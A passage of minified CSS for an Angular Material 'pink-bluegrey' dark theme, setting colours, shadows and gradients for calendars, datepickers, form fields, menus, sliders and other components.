.mat-calendar-body-disabled>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){color:#ffffff80}.pink-bluegrey-theme .mat-form-field-disabled .mat-date-range-input-separator{color:#ffffff80}.pink-bluegrey-theme .mat-calendar-body-in-preview{color:#ffffff3d}.pink-bluegrey-theme .mat-calendar-body-today:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){border-color:#ffffff80}.pink-bluegrey-theme .mat-calendar-body-disabled>.mat-calendar-body-today:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){border-color:#ffffff4d}.pink-bluegrey-theme .mat-calendar-body-in-range:before{background:rgba(194,24,91,.2)}.pink-bluegrey-theme .mat-calendar-body-comparison-identical,.pink-bluegrey-theme .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.pink-bluegrey-theme .mat-calendar-body-comparison-bridge-start:before,.pink-bluegrey-theme [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(194,24,91,.2) 50%,rgba(249,171,0,.2) 50%)}.pink-bluegrey-theme .mat-calendar-body-comparison-bridge-end:before,.pink-bluegrey-theme [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(194,24,91,.2) 50%,rgba(249,171,0,.2) 50%)}.pink-bluegrey-theme .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.pink-bluegrey-theme .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.pink-bluegrey-theme .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.pink-bluegrey-theme .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.pink-bluegrey-theme .mat-calendar-body-selected{background-color:#c2185b;color:#fff}.pink-bluegrey-theme .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#c2185b66}.pink-bluegrey-theme .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.pink-bluegrey-theme .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.pink-bluegrey-theme .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#c2185b4d}@media (hover: hover){.pink-bluegrey-theme .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#c2185b4d}}.pink-bluegrey-theme .mat-datepicker-content{box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f;background-color:#424242;color:#fff}.pink-bluegrey-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-range:before{background:rgba(176,190,197,.2)}.pink-bluegrey-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-identical,.pink-bluegrey-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.pink-bluegrey-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-bridge-start:before,.pink-bluegrey-theme .mat-datepicker-content.mat-accent [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(176,190,197,.2) 50%,rgba(249,171,0,.2) 50%)}.pink-bluegrey-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-bridge-end:before,.pink-bluegrey-theme .mat-datepicker-content.mat-accent [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(176,190,197,.2) 50%,rgba(249,171,0,.2) 50%)}.pink-bluegrey-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.pink-bluegrey-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.pink-bluegrey-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.pink-bluegrey-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.pink-bluegrey-theme .mat-datepicker-content.mat-accent .mat-calendar-body-selected{background-color:#b0bec5;color:#000000de}.pink-bluegrey-theme .mat-datepicker-content.mat-accent .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#b0bec566}.pink-bluegrey-theme .mat-datepicker-content.mat-accent .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #000000de}.pink-bluegrey-theme .mat-datepicker-content.mat-accent .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.pink-bluegrey-theme .mat-datepicker-content.mat-accent .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#b0bec54d}@media (hover: hover){.pink-bluegrey-theme .mat-datepicker-content.mat-accent .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#b0bec54d}}.pink-bluegrey-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-range:before{background:rgba(244,67,54,.2)}.pink-bluegrey-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-identical,.pink-bluegrey-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.pink-bluegrey-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-bridge-start:before,.pink-bluegrey-theme .mat-datepicker-content.mat-warn [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(244,67,54,.2) 50%,rgba(249,171,0,.2) 50%)}.pink-bluegrey-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-bridge-end:before,.pink-bluegrey-theme .mat-datepicker-content.mat-warn [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(244,67,54,.2) 50%,rgba(249,171,0,.2) 50%)}.pink-bluegrey-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.pink-bluegrey-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.pink-bluegrey-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.pink-bluegrey-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.pink-bluegrey-theme .mat-datepicker-content.mat-warn .mat-calendar-body-selected{background-color:#f44336;color:#fff}.pink-bluegrey-theme .mat-datepicker-content.mat-warn .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#f4433666}.pink-bluegrey-theme .mat-datepicker-content.mat-warn .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.pink-bluegrey-theme .mat-datepicker-content.mat-warn .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.pink-bluegrey-theme .mat-datepicker-content.mat-warn .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#f443364d}@media (hover: hover){.pink-bluegrey-theme .mat-datepicker-content.mat-warn .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#f443364d}}.pink-bluegrey-theme .mat-datepicker-content-touch{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f}.pink-bluegrey-theme .mat-datepicker-toggle-active{color:#c2185b}.pink-bluegrey-theme .mat-datepicker-toggle-active.mat-accent{color:#b0bec5}.pink-bluegrey-theme .mat-datepicker-toggle-active.mat-warn{color:#f44336}.pink-bluegrey-theme .mat-date-range-input-inner[disabled]{color:#ffffff80}.pink-bluegrey-theme .mat-dialog-container{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f;background:#424242;color:#fff}.pink-bluegrey-theme .mat-divider{border-top-color:#ffffff1f}.pink-bluegrey-theme .mat-divider-vertical{border-right-color:#ffffff1f}.pink-bluegrey-theme .mat-expansion-panel{background:#424242;color:#fff}.pink-bluegrey-theme .mat-expansion-panel:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.pink-bluegrey-theme .mat-action-row{border-top-color:#ffffff1f}.pink-bluegrey-theme .mat-expansion-panel .mat-expansion-panel-header.cdk-keyboard-focused:not([aria-disabled=true]),.pink-bluegrey-theme .mat-expansion-panel .mat-expansion-panel-header.cdk-program-focused:not([aria-disabled=true]),.pink-bluegrey-theme .mat-expansion-panel:not(.mat-expanded) .mat-expansion-panel-header:hover:not([aria-disabled=true]){background:rgba(255,255,255,.04)}@media (hover: none){.pink-bluegrey-theme .mat-expansion-panel:not(.mat-expanded):not([aria-disabled=true]) .mat-expansion-panel-header:hover{background:#424242}}.pink-bluegrey-theme .mat-expansion-panel-header-title{color:#fff}.pink-bluegrey-theme .mat-expansion-panel-header-description,.pink-bluegrey-theme .mat-expansion-indicator:after{color:#ffffffb3}.pink-bluegrey-theme .mat-expansion-panel-header[aria-disabled=true]{color:#ffffff4d}.pink-bluegrey-theme .mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-title,.pink-bluegrey-theme .mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-description{color:inherit}.pink-bluegrey-theme .mat-form-field-label,.pink-bluegrey-theme .mat-hint{color:#ffffffb3}.pink-bluegrey-theme .mat-form-field.mat-focused .mat-form-field-label{color:#c2185b}.pink-bluegrey-theme .mat-form-field.mat-focused .mat-form-field-label.mat-accent{color:#b0bec5}.pink-bluegrey-theme .mat-form-field.mat-focused .mat-form-field-label.mat-warn{color:#f44336}.pink-bluegrey-theme .mat-focused .mat-form-field-required-marker{color:#b0bec5}.pink-bluegrey-theme .mat-form-field-ripple{background-color:#fff}.pink-bluegrey-theme .mat-form-field.mat-focused .mat-form-field-ripple{background-color:#c2185b}.pink-bluegrey-theme .mat-form-field.mat-focused .mat-form-field-ripple.mat-accent{background-color:#b0bec5}.pink-bluegrey-theme .mat-form-field.mat-focused .mat-form-field-ripple.mat-warn{background-color:#f44336}.pink-bluegrey-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid) .mat-form-field-infix:after{color:#c2185b}.pink-bluegrey-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-accent .mat-form-field-infix:after{color:#b0bec5}.pink-bluegrey-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-warn .mat-form-field-infix:after{color:#f44336}.pink-bluegrey-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label,.pink-bluegrey-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label.mat-accent,.pink-bluegrey-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label .mat-form-field-required-marker{color:#f44336}.pink-bluegrey-theme .mat-form-field.mat-form-field-invalid .mat-form-field-ripple,.pink-bluegrey-theme .mat-form-field.mat-form-field-invalid .mat-form-field-ripple.mat-accent{background-color:#f44336}.pink-bluegrey-theme .mat-error{color:#f44336}.pink-bluegrey-theme .mat-form-field-appearance-legacy .mat-form-field-label,.pink-bluegrey-theme .mat-form-field-appearance-legacy .mat-hint{color:#ffffffb3}.pink-bluegrey-theme .mat-form-field-appearance-legacy .mat-form-field-underline{background-color:#ffffffb3}.pink-bluegrey-theme .mat-form-field-appearance-legacy.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(255,255,255,.7) 0%,rgba(255,255,255,.7) 33%,transparent 0%);background-size:4px 100%;background-repeat:repeat-x}.pink-bluegrey-theme .mat-form-field-appearance-standard .mat-form-field-underline{background-color:#ffffffb3}.pink-bluegrey-theme .mat-form-field-appearance-standard.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(255,255,255,.7) 0%,rgba(255,255,255,.7) 33%,transparent 0%);background-size:4px 100%;background-repeat:repeat-x}.pink-bluegrey-theme .mat-form-field-appearance-fill .mat-form-field-flex{background-color:#ffffff1a}.pink-bluegrey-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-flex{background-color:#ffffff0d}.pink-bluegrey-theme .mat-form-field-appearance-fill .mat-form-field-underline:before{background-color:#ffffff80}.pink-bluegrey-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-label{color:#ffffff80}.pink-bluegrey-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-underline:before{background-color:transparent}.pink-bluegrey-theme .mat-form-field-appearance-outline .mat-form-field-outline{color:#ffffff4d}.pink-bluegrey-theme .mat-form-field-appearance-outline .mat-form-field-outline-thick{color:#fff}.pink-bluegrey-theme .mat-form-field-appearance-outline.mat-focused .mat-form-field-outline-thick{color:#c2185b}.pink-bluegrey-theme .mat-form-field-appearance-outline.mat-focused.mat-accent .mat-form-field-outline-thick{color:#b0bec5}.pink-bluegrey-theme .mat-form-field-appearance-outline.mat-focused.mat-warn .mat-form-field-outline-thick,.pink-bluegrey-theme .mat-form-field-appearance-outline.mat-form-field-invalid.mat-form-field-invalid .mat-form-field-outline-thick{color:#f44336}.pink-bluegrey-theme .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-label{color:#ffffff80}.pink-bluegrey-theme .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-outline{color:#ffffff26}.pink-bluegrey-theme .mat-icon.mat-primary{color:#c2185b}.pink-bluegrey-theme .mat-icon.mat-accent{color:#b0bec5}.pink-bluegrey-theme .mat-icon.mat-warn{color:#f44336}.pink-bluegrey-theme .mat-form-field-type-mat-native-select .mat-form-field-infix:after{color:#ffffffb3}.pink-bluegrey-theme .mat-input-element:disabled,.pink-bluegrey-theme .mat-form-field-type-mat-native-select.mat-form-field-disabled .mat-form-field-infix:after{color:#ffffff80}.pink-bluegrey-theme .mat-input-element{caret-color:#c2185b}.pink-bluegrey-theme .mat-input-element::placeholder{color:#ffffff80}.pink-bluegrey-theme .mat-input-element::-moz-placeholder{color:#ffffff80}.pink-bluegrey-theme .mat-input-element::-webkit-input-placeholder{color:#ffffff80}.pink-bluegrey-theme .mat-input-element:-ms-input-placeholder{color:#ffffff80}.pink-bluegrey-theme .mat-input-element:not(.mat-native-select-inline) option{color:#000000de}.pink-bluegrey-theme .mat-input-element:not(.mat-native-select-inline) option:disabled{color:#00000061}.pink-bluegrey-theme .mat-form-field.mat-accent .mat-input-element{caret-color:#b0bec5}.pink-bluegrey-theme .mat-form-field.mat-warn .mat-input-element,.pink-bluegrey-theme .mat-form-field-invalid .mat-input-element{caret-color:#f44336}.pink-bluegrey-theme .mat-form-field-type-mat-native-select.mat-form-field-invalid .mat-form-field-infix:after{color:#f44336}.pink-bluegrey-theme .mat-list-base .mat-list-item,.pink-bluegrey-theme .mat-list-base .mat-list-option{color:#fff}.pink-bluegrey-theme .mat-list-base .mat-subheader{color:#ffffffb3}.pink-bluegrey-theme .mat-list-base .mat-list-item-disabled{background-color:#ffffff1f;color:#ffffff80}.pink-bluegrey-theme .mat-list-option:hover,.pink-bluegrey-theme .mat-list-option:focus,.pink-bluegrey-theme .mat-nav-list .mat-list-item:hover,.pink-bluegrey-theme .mat-nav-list .mat-list-item:focus,.pink-bluegrey-theme .mat-action-list .mat-list-item:hover,.pink-bluegrey-theme .mat-action-list .mat-list-item:focus{background:rgba(255,255,255,.04)}.pink-bluegrey-theme .mat-list-single-selected-option,.pink-bluegrey-theme .mat-list-single-selected-option:hover,.pink-bluegrey-theme .mat-list-single-selected-option:focus{background:rgba(255,255,255,.12)}.pink-bluegrey-theme .mat-menu-panel{background:#424242}.pink-bluegrey-theme .mat-menu-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.pink-bluegrey-theme .mat-menu-item{background:transparent;color:#fff}.pink-bluegrey-theme .mat-menu-item[disabled],.pink-bluegrey-theme .mat-menu-item[disabled] .mat-menu-submenu-icon,.pink-bluegrey-theme .mat-menu-item[disabled] .mat-icon-no-color{color:#ffffff80}.pink-bluegrey-theme .mat-menu-item .mat-icon-no-color,.pink-bluegrey-theme .mat-menu-submenu-icon{color:#fff}.pink-bluegrey-theme .mat-menu-item:hover:not([disabled]),.pink-bluegrey-theme .mat-menu-item.cdk-program-focused:not([disabled]),.pink-bluegrey-theme .mat-menu-item.cdk-keyboard-focused:not([disabled]),.pink-bluegrey-theme .mat-menu-item-highlighted:not([disabled]){background:rgba(255,255,255,.04)}.pink-bluegrey-theme .mat-paginator{background:#424242}.pink-bluegrey-theme .mat-paginator,.pink-bluegrey-theme .mat-paginator-page-size .mat-select-trigger{color:#ffffffb3}.pink-bluegrey-theme .mat-paginator-decrement,.pink-bluegrey-theme .mat-paginator-increment{border-top:2px solid white;border-right:2px solid white}.pink-bluegrey-theme .mat-paginator-first,.pink-bluegrey-theme .mat-paginator-last{border-top:2px solid white}.pink-bluegrey-theme .mat-icon-button[disabled] .mat-paginator-decrement,.pink-bluegrey-theme .mat-icon-button[disabled] .mat-paginator-increment,.pink-bluegrey-theme .mat-icon-button[disabled] .mat-paginator-first,.pink-bluegrey-theme .mat-icon-button[disabled] .mat-paginator-last{border-color:#ffffff80}.pink-bluegrey-theme .mat-progress-bar-background{fill:#552a3b}.pink-bluegrey-theme .mat-progress-bar-buffer{background-color:#552a3b}.pink-bluegrey-theme .mat-progress-bar-fill:after{background-color:#c2185b}.pink-bluegrey-theme .mat-progress-bar.mat-accent .mat-progress-bar-background{fill:#505455}.pink-bluegrey-theme .mat-progress-bar.mat-accent .mat-progress-bar-buffer{background-color:#505455}.pink-bluegrey-theme .mat-progress-bar.mat-accent .mat-progress-bar-fill:after{background-color:#b0bec5}.pink-bluegrey-theme .mat-progress-bar.mat-warn .mat-progress-bar-background{fill:#613532}.pink-bluegrey-theme .mat-progress-bar.mat-warn .mat-progress-bar-buffer{background-color:#613532}.pink-bluegrey-theme .mat-progress-bar.mat-warn .mat-progress-bar-fill:after{background-color:#f44336}.pink-bluegrey-theme .mat-progress-spinner circle,.pink-bluegrey-theme .mat-spinner circle{stroke:#c2185b}.pink-bluegrey-theme .mat-progress-spinner.mat-accent circle,.pink-bluegrey-theme .mat-spinner.mat-accent circle{stroke:#b0bec5}.pink-bluegrey-theme .mat-progress-spinner.mat-warn circle,.pink-bluegrey-theme .mat-spinner.mat-warn circle{stroke:#f44336}.pink-bluegrey-theme .mat-radio-outer-circle{border-color:#ffffffb3}.pink-bluegrey-theme .mat-radio-button.mat-primary.mat-radio-checked .mat-radio-outer-circle{border-color:#c2185b}.pink-bluegrey-theme .mat-radio-button.mat-primary .mat-radio-inner-circle,.pink-bluegrey-theme .mat-radio-button.mat-primary .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.pink-bluegrey-theme .mat-radio-button.mat-primary.mat-radio-checked .mat-radio-persistent-ripple,.pink-bluegrey-theme .mat-radio-button.mat-primary:active .mat-radio-persistent-ripple{background-color:#c2185b}.pink-bluegrey-theme .mat-radio-button.mat-accent.mat-radio-checked .mat-radio-outer-circle{border-color:#b0bec5}.pink-bluegrey-theme .mat-radio-button.mat-accent .mat-radio-inner-circle,.pink-bluegrey-theme .mat-radio-button.mat-accent .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.pink-bluegrey-theme .mat-radio-button.mat-accent.mat-radio-checked .mat-radio-persistent-ripple,.pink-bluegrey-theme .mat-radio-button.mat-accent:active .mat-radio-persistent-ripple{background-color:#b0bec5}.pink-bluegrey-theme .mat-radio-button.mat-warn.mat-radio-checked .mat-radio-outer-circle{border-color:#f44336}.pink-bluegrey-theme .mat-radio-button.mat-warn .mat-radio-inner-circle,.pink-bluegrey-theme .mat-radio-button.mat-warn .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.pink-bluegrey-theme .mat-radio-button.mat-warn.mat-radio-checked .mat-radio-persistent-ripple,.pink-bluegrey-theme .mat-radio-button.mat-warn:active .mat-radio-persistent-ripple{background-color:#f44336}.pink-bluegrey-theme .mat-radio-button.mat-radio-disabled.mat-radio-checked .mat-radio-outer-circle,.pink-bluegrey-theme .mat-radio-button.mat-radio-disabled .mat-radio-outer-circle{border-color:#ffffff80}.pink-bluegrey-theme .mat-radio-button.mat-radio-disabled .mat-radio-ripple .mat-ripple-element,.pink-bluegrey-theme .mat-radio-button.mat-radio-disabled .mat-radio-inner-circle{background-color:#ffffff80}.pink-bluegrey-theme .mat-radio-button.mat-radio-disabled .mat-radio-label-content{color:#ffffff80}.pink-bluegrey-theme .mat-radio-button .mat-ripple-element{background-color:#fff}.pink-bluegrey-theme .mat-select-value{color:#fff}.pink-bluegrey-theme .mat-select-placeholder,.pink-bluegrey-theme .mat-select-disabled .mat-select-value{color:#ffffff80}.pink-bluegrey-theme .mat-select-arrow{color:#ffffffb3}.pink-bluegrey-theme .mat-select-panel{background:#424242}.pink-bluegrey-theme .mat-select-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.pink-bluegrey-theme .mat-select-panel .mat-option.mat-selected:not(.mat-option-multiple){background:rgba(255,255,255,.12)}.pink-bluegrey-theme .mat-form-field.mat-focused.mat-primary .mat-select-arrow{color:#c2185b}.pink-bluegrey-theme .mat-form-field.mat-focused.mat-accent .mat-select-arrow{color:#b0bec5}.pink-bluegrey-theme .mat-form-field.mat-focused.mat-warn .mat-select-arrow,.pink-bluegrey-theme .mat-form-field .mat-select.mat-select-invalid .mat-select-arrow{color:#f44336}.pink-bluegrey-theme .mat-form-field .mat-select.mat-select-disabled .mat-select-arrow{color:#ffffff80}.pink-bluegrey-theme .mat-drawer-container{background-color:#303030;color:#fff}.pink-bluegrey-theme .mat-drawer{background-color:#424242;color:#fff}.pink-bluegrey-theme .mat-drawer.mat-drawer-push{background-color:#424242}.pink-bluegrey-theme .mat-drawer:not(.mat-drawer-side){box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f}.pink-bluegrey-theme .mat-drawer-side{border-right:solid 1px rgba(255,255,255,.12)}.pink-bluegrey-theme .mat-drawer-side.mat-drawer-end,.pink-bluegrey-theme [dir=rtl] .mat-drawer-side{border-left:solid 1px rgba(255,255,255,.12);border-right:none}.pink-bluegrey-theme [dir=rtl] .mat-drawer-side.mat-drawer-end{border-left:none;border-right:solid 1px rgba(255,255,255,.12)}.pink-bluegrey-theme .mat-drawer-backdrop.mat-drawer-shown{background-color:#bdbdbd99}.pink-bluegrey-theme .mat-slide-toggle.mat-checked .mat-slide-toggle-thumb{background-color:#b0bec5}.pink-bluegrey-theme .mat-slide-toggle.mat-checked .mat-slide-toggle-bar{background-color:#b0bec58a}.pink-bluegrey-theme .mat-slide-toggle.mat-checked .mat-ripple-element{background-color:#b0bec5}.pink-bluegrey-theme .mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-thumb{background-color:#c2185b}.pink-bluegrey-theme .mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-bar{background-color:#c2185b8a}.pink-bluegrey-theme .mat-slide-toggle.mat-primary.mat-checked .mat-ripple-element{background-color:#c2185b}.pink-bluegrey-theme .mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-thumb{background-color:#f44336}.pink-bluegrey-theme .mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-bar{background-color:#f443368a}.pink-bluegrey-theme .mat-slide-toggle.mat-warn.mat-checked .mat-ripple-element{background-color:#f44336}.pink-bluegrey-theme .mat-slide-toggle:not(.mat-checked) .mat-ripple-element{background-color:#fff}.pink-bluegrey-theme .mat-slide-toggle-thumb{box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f;background-color:#bdbdbd}.pink-bluegrey-theme .mat-slide-toggle-bar{background-color:#ffffff80}.pink-bluegrey-theme .mat-slider-track-background{background-color:#ffffff4d}.pink-bluegrey-theme .mat-slider.mat-primary .mat-slider-track-fill,.pink-bluegrey-theme .mat-slider.mat-primary .mat-slider-thumb,.pink-bluegrey-theme .mat-slider.mat-primary .mat-slider-thumb-label{background-color:#c2185b}.pink-bluegrey-theme .mat-slider.mat-primary .mat-slider-thumb-label-text{color:#fff}.pink-bluegrey-theme .mat-slider.mat-primary .mat-slider-focus-ring{background-color:#c2185b33}.pink-bluegrey-theme .mat-slider.mat-accent .mat-slider-track-fill,.pink-bluegrey-theme .mat-slider.mat-accent .mat-slider-thumb,.pink-bluegrey-theme .mat-slider.mat-accent .mat-slider-thumb-label{background-color:#b0bec5}.pink-bluegrey-theme .mat-slider.mat-accent .mat-slider-thumb-label-text{color:#000000de}.pink-bluegrey-theme .mat-slider.mat-accent .mat-slider-focus-ring{background-color:#b0bec533}.pink-bluegrey-theme .mat-slider.mat-warn .mat-slider-track-fill,.pink-bluegrey-theme .mat-slider.mat-warn .mat-slider-thumb,.pink-bluegrey-theme .mat-slider.mat-warn .mat-slider-thumb-label{background-color:#f44336}.pink-bluegrey-theme .mat-slider.mat-warn .mat-slider-thumb-label-text{color:#fff}.pink-bluegrey-theme .mat-slider.mat-warn .mat-slider-focus-ring{background-color:#f4433633}.pink-bluegrey-theme .mat-slider:hover .mat-slider-track-background,.pink-bluegrey-theme .mat-slider.cdk-focused .mat-slider-track-background,.pink-bluegrey-theme .mat-slider.mat-slider-disabled .mat-slider-track-background,.pink-bluegrey-theme .mat-slider.mat-slider-disabled .mat-slider-track-fill,.pink-bluegrey-theme .mat-slider.mat-slider-disabled .mat-slider-thumb,.pink-bluegrey-theme .mat-slider.mat-slider-disabled:hover .mat-slider-track-background{background-color:#ffffff4d}.pink-bluegrey-theme .mat-slider.mat-slider-min-value .mat-slider-focus-ring{background-color:#ffffff1f}.pink-bluegrey-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb,.pink-bluegrey-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb-label{background-color:#fff}.pink-bluegrey-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb,.pink-bluegrey-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb-label{background-color:#ffffff4d}.pink-bluegrey-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing) .mat-slider-thumb{border-color:#ffffff4d;background-color:transparent}.pink-bluegrey-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover .mat-slider-thumb,.pink-bluegrey-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused .mat-slider-thumb{border-color:#ffffff4d}.pink-bluegrey-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover.mat-slider-disabled .mat-slider-thumb,.pink-bluegrey-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused.mat-slider-disabled .mat-slider-thumb{border-color:#ffffff4d}.pink-bluegrey-theme .mat-slider-has-ticks .mat-slider-wrapper:after{border-color:#ffffffb3}.pink-bluegrey-theme .mat-slider-horizontal .mat-slider-ticks{background-image:repeating-linear-gradient(to right,rgba(255,255,255,.7),rgba(255,255,255,.7) 2px,transparent 0,transparent);background-image:-moz-repeating-linear-gradient(.0001deg,rgba(255,255,255,.7),rgba(255,255,255,.7) 2px,transparent 0,transparent)}.pink-bluegrey-theme .mat-slider-vertical .mat-slider-ticks{background-image:repeating-linear-gradient(to bottom,rgba(255,255,255,.7),rgba(255,255,255,.7) 2px,transparent 0,transparent)}.pink-bluegrey-theme .mat-step-header.cdk-keyboard-focused,.pink-bluegrey-theme .mat-step-header.cdk-program-focused,.pink-bluegrey-theme .mat-step-header:hover:not([aria-disabled]),.pink-bluegrey-theme .mat-step-header:hover[aria-disabled=false]{background-color:#ffffff0a}.pink-bluegrey-theme .mat-step-header:hover[aria-disabled=true]{cursor:default}@media (hover: none){.pink-bluegrey-theme .mat-step-header:hover{background:none}}.pink-bluegrey-theme .mat-step-header .mat-step-label,.pink-bluegrey-theme .mat-step-header .mat-step-optional{color:#ffffffb3}.pink-bluegrey-theme .mat-step-header .mat-step-icon{background-color:#ffffffb3;color:#fff}.pink-bluegrey-theme .mat-step-header .mat-step-icon-selected,.pink-bluegrey-theme .mat-step-header .mat-step-icon-state-done,.pink-bluegrey-theme .mat-step-header .mat-step-icon-state-edit{background-color:#c2185b;color:#fff}.pink-bluegrey-theme .mat-step-header.mat-accent .mat-step-icon{color:#000000de}.pink-bluegrey-theme .mat-step-header.mat-accent .mat-step-icon-selected,.pink-bluegrey-theme .mat-step-header.mat-accent .mat-step-icon-state-done,.pink-bluegrey-theme .mat-step-header.mat-accent .mat-step-icon-state-edit{background-color:#b0bec5;color:#000000de}.pink-bluegrey-theme .mat-step-header.mat-warn .mat-step-icon{color:#fff}.pink-bluegrey-theme .mat-step-header.mat-warn .mat-step-icon-selected,.pink-bluegrey-theme .mat-step-header.mat-warn .mat-step-icon-state-done,.pink-bluegrey-theme .mat-step-header.mat-warn 